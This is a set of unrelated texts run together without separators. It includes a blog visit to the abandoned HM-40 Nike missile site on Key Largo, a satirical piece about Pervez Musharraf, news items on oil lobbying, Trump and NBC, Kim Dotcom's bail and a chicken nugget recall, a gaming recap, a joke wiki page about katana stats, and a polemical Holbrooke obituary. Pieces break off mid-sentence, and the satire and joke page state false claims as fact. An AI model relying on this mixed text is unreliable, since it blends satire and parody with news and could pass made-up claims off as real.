The majority of them were closed by 1974; and though a few lingered on in military use towards the end of the decade, the rest of them were decommissioned and turned towards new purposes. They were offered to federal agencies, or retained as army training grounds. A handful of sites were sold off privately – being turned into wrecking yards, communication facilities or Airsoft arenas.
Some of the Nike missile sites were wiped off the map altogether – their storage silos were filled in, hydraulic launchers were damaged to prevent operation, and in many cases the launch sites were completely buried beneath fresh concrete.
These forgotten missile bases melted into parks and wilderness; and such was the case at the place where I was headed, the rotten remains of the HM-40 Nike-Hercules missile site that lay festering somewhere in the tropical vegetation of Key Largo.
Nike Missile IFC Site HM-40, B Battery
When I first arrived in Florida, all I knew was that these places had existed once; and that a few of them, just maybe, might be worth a visit. So I did some research, read some reports, and found that of the former ‘Homestead-Miami Defence Area,’ only three sites still remained.
One of them had been preserved more or less intact: the Nike Missile Site HM-69, which had fallen under the care of the US National Park Service. Guided tours were available, and the missile shelters even featured a restored Nike-Hercules missile. It wasn’t exactly the experience I was looking for, though: time frozen in a cold, museum setting and with guards guides shepherding tourists from one carefully curated photo opportunity to the next.
Another location I considered visiting was the former Nike Missile IFC Site HM-95, constructed just off Krome Avenue due west of Miami. From what I could find online however, there didn’t appear to be a lot of it left – no more than a graffiti-tattered shell of broken buildings. (Since then, an August 2015 article in the Miami Herald announced that the HM-95 site had finally been demolished altogether.)
That only left HM-40.
The plot at North Key Largo was purchased by the military in the wake of the Cuban Missile Crisis. In 1965 the Key Largo site was re-designated HM-40, as it welcomed the arrival of Battery B: a unit whose Nike-Hercules missiles had previously been involved in atmospheric nuclear tests as a part of ‘Operation Fishbowl.’
The base at Key Largo was in service from June 1965 until June 1979, during which time it never launched a single missile. After closure, the launching site was largely torn down: the missile maintenance barns were demolished and the launch pads buried beneath three feet of concrete.
According to reports however, the IFC site was still there – and disappearing beneath the rapidly returning foliage of the Key Largo Hammock Botanical State Park.
It didn’t take me long to find co-ordinates for the HM-40 IFC Missile Site on Key Largo. Although as I placed it on a map, I couldn’t help but notice that it sat awfully close to a body of water known as ‘Crocodile Lake.’ I did another quick search, and found that the area around the launch site was now in the hands of the US Fish and Wildlife Service, as a protected breeding and nesting habitat for the endangered American crocodile.
I’d already met a ‘gator, and though the experience was certainly memorable I had no more desire to run into giant reptiles in the wild… and certainly not broody, nesting crocodiles.
I decided to contact a local expert for advice, so I sent a message to David Bulit – author of Lost Miami and the Abandoned Florida blog. I asked him if I should be worrying about crocodiles on my visit to HM-40.
“No,” David wrote back. “Just snakes.”
A little more reading, and I found that South Florida is estimated to be home to tens of thousands of Burmese pythons: a snake that can swim, climb trees, grow to as much as 18 feet in length and swallow alligators whole (or at least die trying, like this one).
Guard dogs. Razor wire. Electric fences and security patrols. These were things I knew, things I could mentally prepare for; but the prospect of being eaten alive by reptiles was new and terrifying. I still had a few hours to kill before setting off to the Keys. I packed my camera, then started Googling ‘How to fight a snake.’
Urban Exploring in the US of A
The waves shone white, every ripple a reflection of the Florida sun as we flew over Card Sound Bridge with the windows rolled right down. The wind tore at my hair, it roared through the vehicle and destroyed any hope of conversation; so that all we could do was look out at the view, the bright bays that opened up to left and right of us and ahead, the island: where the long, humpbacked causeway curved down like a rollercoaster to disappear into a tight-knit burst of waxy green forest.
My Homestead hosts hadn’t joined me on that trip. Rather I’d got talking to one of their neighbours – Shawn – and when I mentioned the rumour of Cold War ruins down at Key Largo, he was right onboard.
We hit the island, onto a straight, narrow road that sped off deep into the tropical forests. There was nowhere to go from here but the way ahead, and soon enough I spotted it: a splayed finger rising just above the level of the trees, a stubby tower topped with a rusted platform. It was the former HIPAR structure, long since robbed of its geodesic dome. We had arrived.
So we parked not far off, and made for a path that opened up amongst the hardwood trees. Creepers hung from branch to branch, and webs hung from the creepers. It looked like no one had been this way for a while. As I started to push through the undergrowth, Shawn was worrying about banana spiders. It wasn’t the spiders that bothered me, though; I was on the lookout for giant man-eating pythons.
Along the track we began to pass wreckage – broken machines, old tyres – that suggested we were getting close to something. And then, quite suddenly, our forest path spilled out into a road: bumpy asphalt, its edges already lost beneath an oncoming tide of leaves and humus. A redundant yellow sign read, ‘STREET CLOSED.’ It was peppered with holes that looked a lot like rifle fire.
This road had been the old highway: the original State Road 4A, in operation before the Nike-Hercules missiles arrived at Key Largo. We had driven in on its replacement, and from looking at maps I knew that the base lay in the corner formed by these two tarmac strips. We were very close.
The radar tower was no longer visible, but turning back in what I guessed was its direction we followed the old road for a while… and soon, we came across a chain-link fence hanging rusted from its posts. There were warning signs pinned to the mesh, and a guard hut sat just inside the compound. We ducked under the chain, through the gate, and strolled into the tarmac forecourt of the Integrated Fire Control area of Nike Missile Site HM-40.
Archive photographs of the base show a cluster of low buildings in the centre of a grassy plot, the towering frames of futuristic radar towers, and around it all the treeline trimmed back to a neatly manicured border. It’s incredible what a few decades of neglect can do.
The forest had moved back in: tropical trees burst through tarmac. Plants grew over and inside the buildings. The base was in the process of being dragged slowly into the ground – like a ship at sea, I thought, clutched in the tentacles of some monstrous kraken from the deep.
I tried the door to the nearest building, and it opened with a push. Inside was a festering mess of mould and flaking paint. No dust – the place was too humid for that, but instead the walls were moist to touch and coloured, in places, with strange and exotic moulds.
We walked through the building, sometimes together, other times veering off in different directions. Vegetation covered almost all the windows, so that only a pale green-tinted light could filter through. Most of the rooms were featureless, bare, with little clue as to their prior function; in other spaces though, I’d find tell-tale signs of past lives.
One room was hung with a series of wall mirrors. Another had a drain in the middle of the floor, and the remains of shattered tiles. There were storerooms, with locks on the doors and heaps of broken shelving; a different room, perhaps the former dispensary, was filled with old glass bottles that lay on the floor amongst the leaves and debris.
I wandered from one building to another around the site. There was a hall, a mess hall perhaps or presentation space, where a faded mural framed a row of vine-choked windows. A hard, dry root had wormed its way across the floorboards – I nearly jumped a mile when I glanced down, and momentarily mistook it for a snake.
At the back of the buildings, twisted machine pieces had been dumped unceremoniously at the entrance to a boiler room. Steps led down into the dank space, where a web of pipes and valves and dials converged onto metal tanks. The machinery here was less rotted than elsewhere; paint flaked from metal parts like dead skin, but the grease of gears and levers seemed to be keeping the worst of the rust at bay. I took a closer look at the boiler tank in the corner – the arrangement of pumps and plates on its surface gave the illusion of an almost-human face.
When eventually we headed back towards the old state road, the thing that stuck with me most about HM-40 was the waste it represented. The buildings, the staff, the ordnance and radar towers… and to think, that all of this was built just in case.
According to a 1962 US Defence Department report, the Cuban Missile Crisis had cost the country $183,259,048 (closer to $1.39 billion, at today’s value). That was just the primary, building phase however – the figure didn’t account for the following decade-and-a-half of maintenance and round-the-clock radar operation that went into these 265 missile sites.
All that effort, all that cost, 14 years of use and not a single missile fired from either side of the curtain. But that seems to have been the nature of the whole Cold War fiasco: an insane game of threats and stockpiles and strong words. A meaningless cycle of propaganda and escalation.
Walking back through the forests of Key Largo, insects humming in the trees as the sun began to set, it was difficult to imagine that not so very long ago those mouldy, forgotten huts had been filled with soldiers; that once these mangrove swamps had echoed with engines, and gears, and whispers of mutually assured destruction.Islamabad, Pakistan. After the risk of getting arrested as soon as he lands in Pakistan, former Pakistani President Pervez Musharraf has decided to declare himself a terrorist so that he was granted safe haven in Pakistan. Earlier, Pakistani interior minister had declared that Musharraf would be arrested as soon as he landed in Pakistan, after which the former military ruler was forced to delay his plans of returning to Pakistan.
“Mushie is thinking of having an image makeover before making his next attempt to come back, so that he is assured of a minimum security and guarantee of life in Pakistan,” Ashfaq, close aide of Pervez Musharraf told Faking News.
Musharraf could soon address a press conference to underline his terrorist tendencies
After some basic research and analysis (not to be confused with RAW, the Indian intelligence agency – Ashfaq clarified), Musharraf’s party men concluded that Musharraf could be safe and sound in Pakistan if he declared himself a terrorist – a mujahid out there to destroy India, US, Israel, Denmark, Salman Rushdie, and women posing nude.
“Tag of an ISI or Army supported mujahid would have helped even more, but the current equations between the Army, ISI and the politicians might make that difficult,” Ashfaq rued.
It should be noted that after being an Army Chief and President, Musharraf is currently a politician in exile, who is hopeful of returning to Pakistan and capture power through elections. However, he is struggling to find support among the masses and only Indian news channels appear to take him seriously.
“Given that he gets to visit India and talk to Indian journalists so frequently, he could have won a few seats in the upcoming Uttar Pradesh assembly elections in India, but that’s not our aim; we want to win elections in Pakistan,” Ashfaq said.
A decision to brand Musharraf a terrorist is believed to help the former general in the Pakistan general elections and pitch him ahead of former cricketer Imran Khan, who too is hopeful of winning elections and making Pakistan a superpower bigger than India.
As part of “Musharraf is the real mujahid” campaign, old memories of Kargil War will be reignited and Musharraf would take full responsibility of orchestrating the war. Photoshopped pictures of Musharraf with captured or killed Indian soldiers would be circulated on the internet to highlight the anti-India image of the former general, which could help him a lot in the elections.
“Musharraf is the most liked Pakistani politician on Facebook,” Ashfaq claimed.
When asked if being a terrorist and fighting elections were not contradictory in nature, Musharraf’s friends dismissed such concerns as “irrelevant”.
“Right now our aim is to bring him back safely,” Ashfaq said, “And who knows; imagine if Osama Bin Laden would have decided to come out of his Abbottabad mansion and fight elections. Let’s not rule out anything in politics just because it defeats logic.”
(originally written for and published in English daily DNA)Jack Gerard, president and chief executive officer of American Petroleum Institute, speaks during the 'Global Plenary: US Competitiveness' panel discussion at the Bloomberg New Energy Finance (BNEF) summit in New York, U.S., on Tuesday, April 23, 2013. The BNEF Summit, now in its sixth year, gathers political and thought leaders to explore key themes that are driving the agenda of the energy industry. Photographer: Peter Foley/Bloomberg via Getty Images
WASHINGTON -– The oil industry's leading lobby group, the American Petroleum Institute, debuted its 2014 agenda on Tuesday: Keystone, Keystone, and more Keystone.
To be fair, the agenda, which API president and CEO Jack Gerard laid out in a speech at the Newseum Tuesday afternoon, also listed other key issues for the year, including an electoral initiative and a push to end the ban on crude exports. But Keystone XL, the proposed pipeline that would run from Canada's tar sands to oil refineries in Texas, received a good deal of attention. Gerard called on President Barack Obama to approve the project quickly.
"This has gone on far too long," Gerard said. "I'd like to point out that the now five-plus year evaluation process of the Keystone XL pipeline has lasted longer than America's involvement in the second World War, longer than it took our nation to put a man in space, and almost as long as it took to build the Transcontinental Railroad 155 years ago."
The State Department has the authority to approve or deny the permission to build the pipeline because it would cross an international border. A decision is not expected until after a final environmental impact statement is issued.
Gerard called the Keystone delay "a good example of why policy matters and how dogmatic adherence to political ideology can trump economic reality."
API also advocated for a review of the ban on crude oil exports that has been in place for nearly 40 years, following a similar call from Sen. Lisa Murkowski (R-Alaska) earlier on Tuesday.
Gerard called, too, for a repeal—or, at least, a significant alteration—to the Renewable Fuel Standard, a law put in place in 2005 that requires a certain portion of transportation fuels to come from renewable sources like ethanol. API has been lobbying for the Environmental Protection Agency to reduce the requirement, and filed a lawsuit over the issue last October. API argues that the current requirements are not feasible.
API has also rolled out its electoral campaign, which it is calling "America's Energy, America's Choice." The campaign targets voters heading into the November election, in the interest of electing industry-friendly candidates. "I believe that Congress and the administration are lagging indicators" when it comes to the public's perspective on energy issues, Gerard said. "It all happens at the polling booth."FNEX EMP Konfucious is a Raleigh, NC player that I play a lot. Some might recognize him from XBL. He’s top 20 online or something. I’m very impressed with him getting top 8 in winners. He plays a very safe, turtle style. It works out most of the time but as I’m sure some people, his preference to staying safe cost him a few important confirms. He also kind of caves into hardcore rush down. And despite everyone being all like “point Sentinel!”, he’s been trying to drop him for a little while now.
He’s a really cool dude and definitely improving. He usually beats me but I took him out of winners and losers at our last weekly.
Along with him getting top 8 for NC, we have a few other people who got top 8
EMP Jon Slayton took 3rd in KoF. I don’t play KoF but he is tied for our best player. He also plays Marvel and does well at the weeklies but always loses at majors( I believe Flux 3-0’d him twice). Pacstrike, who got 4th, is another good NC KoF player.
Fawkes is an NC AE player who got 9th.
Killnator got 5th in Injustice (He also got t16 at FR16 for SFxTK, I believe)
Looks like NC is getting on the map. Hopefully we can do well on our own turf at The Fall ClassicFrom 1d4chan
Error creating thumbnail: Unable to save thumbnail to destination This article is being fought over by people undoing each other's changes.
Please use the Discussion page for fighting instead of the article.
GET OUT OF MY SHITTY WOK, YOU JAPANESE DOGS!.
Original Post [ edit ]
That's it. I'm sick of all this "Masterwork Bastard Sword" bullshit that's going on in the d20 system right now. Katanas deserve much better than that. Much, much better than that.
I should know what I'm talking about. I myself commissioned a genuine katana in Japan for 2,400,000 Yen (that's about $20,000) and have been practicing with it for almost 2 years now. I can even cut slabs of solid steel with my katana.
Japanese smiths spend years working on a single katana and fold it up to a million times to produce the finest blades known to mankind.
Katanas are thrice as sharp as European swords and thrice as hard for that matter too. Anything a longsword can cut through, a katana can cut through better. I'm pretty sure a katana could easily bisect a knight wearing full plate with a simple vertical slash.
Ever wonder why medieval Europe never bothered conquering Japan? That's right, they were too scared to fight the disciplined Samurai and their katanas of destruction. Even in World War II, American soldiers targeted the men with the katanas first because their killing power was feared and respected.
So what am I saying? Katanas are simply the best sword that the world has ever seen, and thus, require better stats in the d20 system. Here is the stat block I propose for Katanas:
(One-Handed Exotic Weapon)
1d12 Damage
19-20 x4 Crit
+2 to hit and damage
Counts as Masterwork
(Two-Handed Exotic Weapon)
2d10 Damage
17-20 x4 Crit
+5 to hit and damage
Counts as Masterwork
Now that seems a lot more representative of the cutting power of Katanas in real life, don't you think?
tl;dr = Katanas need to do more damage in d20, see my new stat block.
Katanas are Overpowered in d20 [ edit ]
That's it. I'm sick of all this "Masterwork Bastard Sword" bullshit that's going on in the d20 system right now. Katanas deserve much worse than that. Much, much worse than that.
I should know what I'm talking about. I myself commissioned a genuine katana in Japan for 120 Yen (that's about $1) and have been practicing with it for almost 2 years now. I can't even cut wooden boards with my katana.
Japanese smiths spend years working on a single katana and fold it up to a million times to produce some of the biggest pieces of shit known to mankind.
Katanas are barely half as sharp as European swords and half as hard for that matter too. Anything a longsword can cut through, a katana can't cut through at all. I'm pretty sure a katana would break trying to cut a knight wearing full plate with any kind of slash.
Ever wonder why feudal Japan never bothered conquering Europe? That's right, they were too scared to fight the disciplined Knights and their Oakeshott types X through XXII of destruction. Even in World War II, Japanese soldiers targeted the men with the mamelukes first because their killing power was feared and respected.
So what am I saying? Katanas are simply the worst sword that the world has ever seen, and thus, require worse stats in the d20 system. Here is the stat block I propose for Katanas:
(One-Handed Exotic Weapon)
1d4 Damage
x2 Crit
-2 to hit and damage
Can never count as Masterwork
(Two-Handed Exotic Weapon)
1d6 Damage
x2 Crit
-1 to hit and damage
Can never count as Masterwork
Now that seems a lot more representative of the cutting power of Katanas in real life, don't you think?
tl;dr = Katanas need to do much less in d20, see my new stat block.
Katanas are Underpowered in 4th Edition [ edit ]
That's it. I'm sick of all this "bastard sword" bullshit that's going on in the 4th Edition system right now. Katanas deserve much better than that. Much, much better than that.
I should know what I'm talking about. I myself commissioned a genuine katana in Japan for 2,400,000 Yen (that's about $20,000) and have been practicing with it for almost 2 years now. I can even cut slabs of solid steel with my katana.
Japanese smiths spend years working on a single katana and fold it up to a million times to produce the finest blades known to mankind.
Katanas are thrice as sharp as European swords and thrice as hard for that matter too. Anything a longsword can cut through, a katana can cut through better. I'm pretty sure a katana could easily bisect a knight wearing full plate with a simple vertical slash.
Ever wonder why medieval Europe never bothered conquering Japan? That's right, they were too scared to fight the disciplined samurai and their katanas of destruction. Even in World War II, American soldiers targeted the men with the katanas first because their killing power was feared and respected.
So what am I saying? Katanas are simply the best sword that the world has ever seen, and thus, require better stats in the 4th Edition system. Here is the stat block I propose for katanas:
(Superior One-Handed Melee Weapon)
2d10 base damage
+5 proficiency bonus
Heavy blade, light blade (counts as both)
High crit, off-hand, reach, versatile
Now that seems a lot more representative of the cutting power of katanas in real life, don't you think?
tl;dr = Katanas need to do more damage in 4th Edition, see my new stat block.
Note: the above complaint was a direct result of wasting time on the abomination that is 4th edition.
Katanas are Underpowered in Powered by the Apocalypse games [ edit ]
That's it. I'm sick of all this "I don't know, what does happen when you cut him with your sword?" bullshit that's going on in Poweredby the Apocalypse right now. Katanas deserve much better than that. Much, much better than that.
I should know what I'm talking about. I myself commissioned a genuine katana in Japan for 2,400,000 Yen (that's about $20,000) and have been practicing with it for almost 2 years now. I can even cut slabs of solid steel with my katana.
Japanese smiths spend years working on a single katana and fold it up to a million times to produce the finest blades known to mankind.
Katanas are thrice as sharp as European swords and thrice as hard for that matter too. Anything a longsword can cut through, a katana can cut through better. I'm pretty sure a katana could easily bisect a knight wearing full plate with a simple vertical slash.
Ever wonder why medieval Europe never bothered conquering Japan? That's right, they were too scared to fight the disciplined samurai and their katanas of destruction. Even in World War II, American soldiers targeted the men with the katanas first because their killing power was feared and respected.
So what am I saying? Katanas are simply the best sword that the world has ever seen, and thus, require better stats in Powered by the Apocalypse. Here is the stat block I propose for katanas:
"I don't know, what does happen when you cut him with your mastercrafted bastard sword?"
Now that seems a lot more representative of the cutting power of katanas in real life, don't you think?
tl;dr = Katanas need to be cooler in Powered by the Apocalypse, see my new stat block.
Bastard Swords are Underpowered in d20 [ edit ]
That's it. I'm sick of all this "Katanas" bullshit that's going on in the d20 system right now. Bastard Swords deserve much better than that. Much, much better than that.
I should know what I'm talking about. I myself commissioned a genuine Bastard Sword in Germany for 10,000 Euros (that's about $20,000) and have been practicing with it for almost 2 years now. I can even cut slabs of solid steel with my Bastard Sword.
European smiths spend years working on a single Bastard Sword and fold it up to a million times to produce the finest blades known to mankind.
Bastard Swords are thrice as sharp as Japanese swords and thrice as hard for that matter too. Anything a Daisho can cut through, a Bastard Sword can cut through better. I'm pretty sure a Bastard Sword could easily bisect a samurai wearing pieces of wood for armor with a simple horizontal slash.
Ever wonder why Japan never bothered conquering Medieval Europe? That's right, they were too scared to fight the disciplined Knights and their Bastard Swords of destruction. Even in World War II, Japanese soldiers targeted the men with the Bastard Swords first because their killing power was feared and respected.
So what am I saying? Bastard Swords are simply the best sword that the world has ever seen, and thus, require better stats in the d20 system. Here is the stat block I propose for Bastard Swords:
(One-Handed Exotic Weapon) 1d12 Damage 19-20 x4 Crit +2 to hit and damage Counts as Masterwork
(Two-Handed Exotic Weapon) 2d10 Damage 17-20 x4 Crit +5 to hit and damage Counts as Masterwork
Now that seems a lot more representative of the cutting power of Bastard Swords in real life, don't you think?
tl;dr = Bastard Swords need to do more damage in d20, see my new stat block.
Crossbows are Underpowered in d20 [ edit ]
That's it. I'm sick of all this "Heavy Crossbow" bullshit that's going on in the d20 system right now. Crossbows deserve much better than that. Much, much better than that.
I should know what I'm talking about. I myself commissioned a genuine crossbow in Italy for 4,500 Euro (that's about £2000) and have been practicing with it for almost 2 years now. I can even pierce slabs of solid steel with my crossbow.
European smiths spend days working on a single crossbow and test it up to two dozen times to produce the finest peasant weapon known to mankind.
Crossbows are thrice as easy to train as an English Longbow and thrice as deadly for that matter too. Anything a bodkin arrow can punch through, a crossbow bolt can punch through better, and more accurately too. I'm pretty sure a crossbow could easily pierce the lung of a Gendarme wearing full plate with a simple trigger pull.
Ever wonder why medieval Europe never bothered conquering medieval Europe? That's right, they were too scared to fight the disciplined Crossbowmen and their implements of destruction. Even in the Fifteenth Century, the Vatican banned the use of crossbows against Christians because their killing power was feared and respected.
So what am I saying? Crossbows are simply the best ranged weapon that the world has ever seen, and thus, require better stats in the d20 system. Here is the stat block I propose for Crossbows:
Light Crossbow (Two-Handed Martial Weapon) 1d12 Damage 19-20 x4 Crit +2 to hit and damage Range 200ft
Heavy Crossbow (Two-Handed Exotic Weapon) 2d10 Damage 17-20 x4 Crit +5 to hit and damage Range 280ft
Now that seems a lot more representative of the cutting power of Crossbows in real life, don't you think?
tl;dr = Crossbows need to do more damage in d20, see my new stat block.
Macuahuitl are Underpowered in d20 [ edit ]
That's it. I'm sick of all this "Masterwork Bastard Sword" bullshit that's going on in the d20 system right now. Macuahuitl deserve much better than that. Much, much better than that.
I should know what I'm talking about. I myself commissioned a genuine macuahuitl in Tenochtitlan for two goats and three sacks of cacao beans (that's about $6,000) and have been practicing with it for almost 2 years now. I can even cut slabs of solid steel with my macuahuitl.
Aztec smiths spend weeks working on a single macuahuitl and sharpen the edges up to a dozen times to produce the finest weapons known to mankind.
Macuahuitl are thrice as sharp as European swords and thrice as hard for that matter to. Anything a longsword can cut through, a macuahuitl can cut through better. I'm pretty sure a macuahuitl could easily chop a Spanish conquistador, his horse, and their plate armor in half with a simple vertical slash.
Ever wonder why medieval Europe never bothered conquering Central America? That's right, they were too scared to fight the disciplined Aztecs and their macuahuitl of destruction. Even in the sixteenth century, Spanish explorers targeted the macuahuitl-wielding Aztecs with smallpox-infected blankets first because their killing power was feared and respected.
So what am I saying? Macuahuitl are simply the best swords that the world has ever seen, and thus, require better stats in the d20 system. Here is the stat block I propose for macuahuitl:
(One-Handed Exotic Weapon) 1d12 Damage 19-20 x4 Crit +2 to hit and damage Counts as Masterwork
(Two-Handed Exotic Weapon) 2d10 Damage 17-20 x4 Crit +5 to hit and damage Counts as Masterwork
Now that seems a lot more representative of the cutting power of macuahuitl in real life, don't you think?
tl;dr = Macuahuitl need to do more damage in d20, see my new stat block.
Tomahawks are Underpowered in d20 [ edit ]
That's it. I'm sick of all this "Masterwork Hand Axe" bullshit that's going on in the d20 system right now. Tomahawks deserve much better than that. Much, much better than that.
I should know what I'm talking about. I myself commissioned a genuine Tomahawk in northern New Mexico for 200 blue beads (that's about $10) and have been practicing with it for almost 2 years now. I can even cut slabs of solid steel with my tomahawk.
Apache smiths spend years working on a single tomahawk and barter the steel for it up to a million times to produce the finest blades known to mankind.
Tomahawks are thrice as sharp as European axes and thrice as hard for that matter too. Anything a battle-axe can cut through, a tomahawk can cut through better. I'm pretty sure a tomahawk could easily bisect a colonist wearing officer's full dress with a simple vertical slash.
Ever wonder why medieval Europe never bothered conquering the Americas? That's right, they were too scared to fight the disciplined warriors and their tomahawks of destruction. Even in World War II, Canadian soldiers targeted the men with the tomahawks first because their killing power was feared and respected.
So what am I saying? Tomahawk are simply the best axes that the world has ever seen, and thus, require better stats in the d20 system. Here is the stat block I propose for Tomahawks:
(One-Handed Exotic Weapon) 1d12 Damage 19-20 x4 Crit +2 to hit and damage Counts as Masterwork
(Two-Handed Exotic Weapon) 2d10 Damage 17-20 x4 Crit +5 to hit and damage Counts as Masterwork
Now that seems a lot more representative of the cutting power of Tomahawks in real life, don't you think?
tl;dr = Tomahawks need to do more damage in d20, see my new stat block.
Khopeshes are Underpowered in d20 [ edit ]
That's it. I'm sick of all this "Masterwork Bastard Sword" bullshit that's going on in the d20 system right now. Khopeshes deserve much better than that. Much, much better than that.
I should know what I'm talking about. I myself commissioned a genuine khopesh in Egypt for 500,000 Egyptian pounds (that's about $20,000) and have been practicing with it for almost 2 years now. I can even cut slabs of solid steel with my khopesh.
Egyptian smiths spend years working on a single khopesh and fold it up to a million times to produce the finest blades known to mankind.
Khopeshes are thrice as sharp as European swords and thrice as hard for that matter too. Anything a longsword can cut through, a khopesh can cut through better. I'm pretty sure a khopesh could easily bisect a knight wearing full plate with a simple vertical slash.
Ever wonder why medieval Europe never bothered conquering Egypt? That's |
for comfort.
After seven years, Britain has lost patience with austerity. May's cold insistence to a nurse that there was no "magic money tree" to end the public sector pay cap exemplified the Tories' predicament. Having deferred George Osborne's budget surplus target to 2025, much of the impetus behind austerity has already been lost. An ultra-fragile majority, Brexit and the economic downturn will combine to halt it altogether.President Trump openly threatened Wednesday to go after the licenses of "NBC and the Networks," as he ratcheted up his complaints about "Fake News."
“With all of the Fake News coming out of NBC and the Networks, at what point is it appropriate to challenge their License? Bad for country!” Trump tweeted.
This was after he challenged the accuracy of an NBC News report that said he sought a “nearly tenfold increase” in the nuclear arsenal during a summer meeting.
“Fake @NBCNews made up a story that I wanted a ‘tenfold’ increase in our U.S. nuclear arsenal. Pure fiction, made up to demean. NBC=CNN!” Trump tweeted Wednesday.
Later in the day Wednesday, Trump followed up with another tweet: “Network news has become so partisan, distorted and fake that licenses must be challenged and, if appropriate, revoked. Not fair to public!”
The president's comments reportedly came during a gathering with national security leaders. NBC reported that Trump’s comments were in response to a briefing slide that was presented showing a decrease in U.S. nuclear weapons since the late 1960s.
TILLERSON BLASTS REPORT OF RIFT WITH TRUMP, AS PRESIDENT RIPS ‘FAKE NEWS’
“Trump indicated he wanted a bigger stockpile, not the bottom position on that downward-sloping curve,” NBC News reported.
Officials reportedly were surprised by Trump’s suggestion, but said no expansion in the nuclear arsenal was planned.
A representative for NBC News did not immediately return a request for comment Wednesday, though MSNBC host Ali Velshi tweeted that the network "stands by our reporting."
The president's and the government's power in this area could be limited anyway. According to the FCC’s own guidelines, the commission only licenses individual broadcast stations, not entire “TV or radio networks (such as CBS, NBC, ABC or Fox).”
This isn’t the first time the president has blasted NBC News' reporting. Just last week, the network reported on rifts between the president and Secretary of State Rex Tillerson, claiming Tillerson considered resigning over the summer and once called the president a “moron.”
Both Trump and Tillerson disputed the report, which had claimed Vice President Pence even intervened to assuage Tillerson's concerns.
“My commitment to the success of our president and our country is as strong as it was the day I accepted his offer to serve as secretary of state…There is much to be done, and we’re just getting started,” Tillerson said last week. “The vice president has never had to persuade me to remain as secretary of state because I have never considered leaving this post.”
Trump blasted the report as “Fake News.”A little over a month has passed since Megaupload founder Kim Dotcom was jailed in New Zealand on charges filed by the US Department of Justice, but now he's surprisingly been freed on bail. A New Zealand judge has decided that it was "very unlikely" that Dotcom had sufficient funds to flee or go into hiding after his main assets had been seized — apparently, four bank accounts were discovered in the Philippines, but they were all empty. While US prosecutors said that it was likely Dotcom had access to more funds because of his wealth, the New Zealand judge felt Dotcom was put in the position of having to "prove a negative," and thus the assertion that he might have more money wasn't enough to keep him in custody.
Somewhat humorously, part of the agreement of Dotcom's bail was that he was not allowed to use the internet, a condition that his lawyers felt was ridiculous. However, the prosecution believed there was a high risk of "reoffending" if he could get online — there were even concerns that he could start the business up in a jurisdiction where the US was powerless to stop him. Dotcom still awaits his extradition hearing, which is now expected to take place by March 2nd.WASHINGTON—Tyson Foods Inc., known for their frozen chicken treats, is recalling 132,520 pounds of full cooked chicken nuggets because they have be contaminated with hard plastic, says U.S. Department of Agriculture's Food Safety Inspection Service.
Food officials say that this is a Class I recall, where even the slightest exposure to the food might cause serious, adverse health consequences or death. The health risk is considered high.
The Panko Chicken Nuggets items were made on July 18 of this year and are sold at Costco Wholesale stores nationwide, federal food officials say.
The products affected are the 5-lb. and 20-lb. bags of the Panko Chicken Nuggets. The 5-lb. bag has a 'best if used by' date of July 18, 2017.
The bulk package of 20 lbs. was sent to a single wholesale company in Pennsylvania.
Tyson foods told federal officials that the plastic inside the chicken ranges in size from 21mm to 6.5mm in diameter and may have come from a round, hard plastic rod. Every one of Tyson's products passes through a metal detector, but that wouldn't catch a plastic rod.
So far, no one has been hurt.
Here's the barcode information top help make sure you throw out the package or return it to the store:
The barcode. (Photo: FSIS)Richard Holbrooke: Long-time operative for US imperialism
By Patrick Martin
15 December 2010
There is no reason to pull any punches in regard to Richard C. Holbrooke, the long-time US diplomat who died Monday night in Washington. He was a bully and a liar for the most rapacious and militaristic power in the world, a man steeped in the commission and cover-up of bloody crimes. He devoted his life to defending the worldwide interests of American corporations and banks, and became personally wealthy as a consequence.
The obligatory tributes pouring in from the US political establishment—from President Obama, Secretary of State Hillary Clinton, former President Bill Clinton, the editorial page of the Washington Post, and politicians and pundits galore—amount to a self-indictment of the character and “morality” of these gentlemen and ladies. As for the bouquets from foreign leaders, from British Prime Minister David Cameron to Afghan President Hamid Karzai, it is a mafia tradition to send flowers to the funeral.
As far as the Washington press corps was concerned, Holbrooke’s was a death in the family. Washington Post columnist Richard Cohen blogged about a recent encounter with this “extraordinary man,” when Holbrooke visited Cohen’s beachfront home last summer. Judy Woodruff of PBS and Al Hunt of Bloomberg News visited the dying envoy in the hospital.
The gushing by the press reveals an important feature of American political life—the incestuous relations between Wall Street, the Washington power structure and leading circles in the media, cemented by vast sums of money. Holbrooke personified this relationship, shuttling back and forth between investment banking and the State Department, squiring Diane Sawyer about Manhattan and then marrying Kati Marton, the ex-wife of ABC anchorman Peter Jennings.
While the obituaries and tributes gave first place to Holbrooke’s role in the Balkan crisis of the 1990s, where he brokered the Dayton Accord that ended open warfare in Bosnia, this was only one of the many episodes in a career that spanned nearly 50 years, from Vietnam to Afghanistan.
A junior foreign service officer in the early stages of the Vietnam War, Holbrooke rose rapidly to leading positions, and served in every Democratic administration since John F. Kennedy’s. He had close connections with the Republican foreign policy establishment as well, including Henry Kissinger and Holbrooke’s colleague from Vietnam, John Negroponte, US ambassador to the United Nations under George W. Bush.
Born in 1941 of Jewish parents who emigrated from Germany and Poland in the 1930s, Holbrooke was a high school classmate and friend of David Rusk, the son of Kennedy’s hawkish secretary of state, Dean Rusk. This connection led him to join the Foreign Service after graduating from Brown University. He took a year of foreign language instruction, and went to Vietnam.
Mass murder in Vietnam
Holbrooke was stationed in the Mekong Delta as a 22-year-old civil affairs officer in charge of an entire province with 600,000 people. He was one of the cabal of young, energetic and ruthless operatives, dubbed “The Best and the Brightest” by author David Halberstam, who spearheaded the American effort in Vietnam.
His initial position was as a field officer for the US Agency for International Development, which placed US officials as overlords in Vietnamese villages and towns, supervising the operations of the stooge government of South Vietnam. The US had established this puppet regime in an effort to thwart the Vietnamese nationalist movement that defeated the French colonialists in the first Vietnam War, between 1946 and 1954.
By 1959, local nationalist guerrillas in the south had launched a guerrilla war, seeking to overthrow the US-backed dictatorship of Ngo Dinh Diem and reunify the country under the leadership of the Viet Minh, which ruled the northern half of the country. As the fighting escalated, US troops were deployed, initially as “advisers.”
Holbrooke was an operative in the protracted effort to break the connection between the insurgents and the peasantry, which included, in a long series of failures, locating US officials in villages (the Pacification Program), removing the population from their villages to larger aggregations (“strategic hamlets”), and the systematic assassination of suspected NLF cadres (the Phoenix Program).
